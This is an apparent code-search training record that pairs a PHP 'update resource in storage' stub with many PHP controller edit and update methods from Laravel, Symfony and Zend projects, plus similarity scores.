"public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}",
"public function edit($id)\n {\n return view('models::edit');\n }",
"public function edit()\n {\n return view('home::edit');\n }",
"public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }",
"public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit()\n {\n return view('user::edit');\n }",
"public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }",
"public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }",
"public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('consultas::edit');\n }",
"public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }",
"public function edit()\n {\n return view('dashboard::edit');\n }",
"public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }",
"public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }",
"public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }",
"public function edit() {\n return view('routes::edit');\n }",
"public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }",
"public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return view('cataloguemodule::edit');\n }",
"public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }",
"public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }",
"public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }",
"public function edit()\n {\n return view('website::edit');\n }",
"public function edit()\n {\n return view('inventory::edit');\n }",
"public function edit()\n {\n return view('initializer::edit');\n }",
"public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }",
"public function edit($id)\n {\n return view('backend::edit');\n }",
"public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n return view('crm::edit');\n }",
"public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }",
"public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}",
"public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }",
"public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}",
"public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }",
"public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }",
"public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }",
"public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }",
"public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }",
"public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}"
]
| [
"0.78550774",
"0.7692893",
"0.7273195",
"0.7242132",
"0.7170847",
"0.70622855",
"0.7053459",
"0.6982539",
"0.69467914",
"0.6945275",
"0.6941114",
"0.6928077",
"0.69019294",
"0.68976134",
"0.68976134",
"0.6877213",
"0.68636996",
"0.68592185",
"0.68566656",
"0.6844697",
"0.68336326",
"0.6811471",
"0.68060875",
"0.68047357",
"0.68018645",
"0.6795623",
"0.6791791",
"0.6791791",
"0.6787701",
"0.67837197",
"0.67791027",
"0.677645",
"0.6768301",
"0.6760122",
"0.67458534",
"0.67458534",
"0.67443407",
"0.67425704",
"0.6739898",
"0.6735328",
"0.6725465",
"0.6712817",
"0.6693891",
"0.6692419",
"0.6688581",
"0.66879624",
"0.6687282",
"0.6684741",
"0.6682786",
"0.6668777",
"0.6668427",
"0.6665287",
"0.6665287",
"0.66610634",
"0.6660843",
"0.66589665",
"0.66567147",
"0.66545695",
"0.66527975",
"0.6642529",
"0.6633056",
"0.6630304",
"0.6627662",
"0.6627662",
"0.66192114",
"0.6619003",
"0.66153085",
"0.6614968",
"0.6609744",
"0.66086483",
"0.66060555",
"0.6596137",
"0.65950733",
"0.6594648",
"0.65902114",
"0.6589043",
"0.6587102",
"0.65799844",
"0.65799403",
"0.65799177",
"0.657708",
"0.65760696",
"0.65739626",
"0.656931",
"0.6567826",
"0.65663105",
"0.65660435",
"0.65615267",
"0.6561447",
"0.6561447",
"0.65576506",
"0.655686",
"0.6556527",
"0.6555543",
"0.6555445",
"0.65552044",
"0.65543956",
"0.65543705",
"0.6548264",
"0.65475875",
"0.65447706"
]
| 0.0 | -1 |
Update the specified resource in storage. | public function update(Request $request, $id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }",
"public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }",
"public function update(Request $request, Resource $resource)\n {\n //\n }",
"public function updateStream($resource);",
"public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }",
"protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }",
"public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }",
"public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }",
"public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}",
"public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }",
"public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }",
"protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }",
"public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }",
"public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }",
"public function update($path);",
"public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }",
"public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }",
"public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}",
"public function updateStream($path, $resource, Config $config)\n {\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }",
"public function update($data) {}",
"public function update($data) {}",
"public function putStream($resource);",
"public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function update($entity);",
"public function update($entity);",
"public function setResource($resource);",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }",
"public function isUpdateResource();",
"public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }",
"public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }",
"public function store($data, Resource $resource);",
"public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }",
"public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }",
"public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }",
"public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }",
"public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }",
"public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }",
"public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }",
"public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }",
"public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }",
"public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }",
"public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }",
"public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }",
"public function update(Qstore $request, $id)\n {\n //\n }",
"public function update(IEntity $entity);",
"protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }",
"public function update($request, $id);",
"function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}",
"public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }",
"public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }",
"public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }",
"protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }",
"abstract public function put($data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function update($id, $data);",
"public function testUpdateSupplierUsingPUT()\n {\n }",
"public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }",
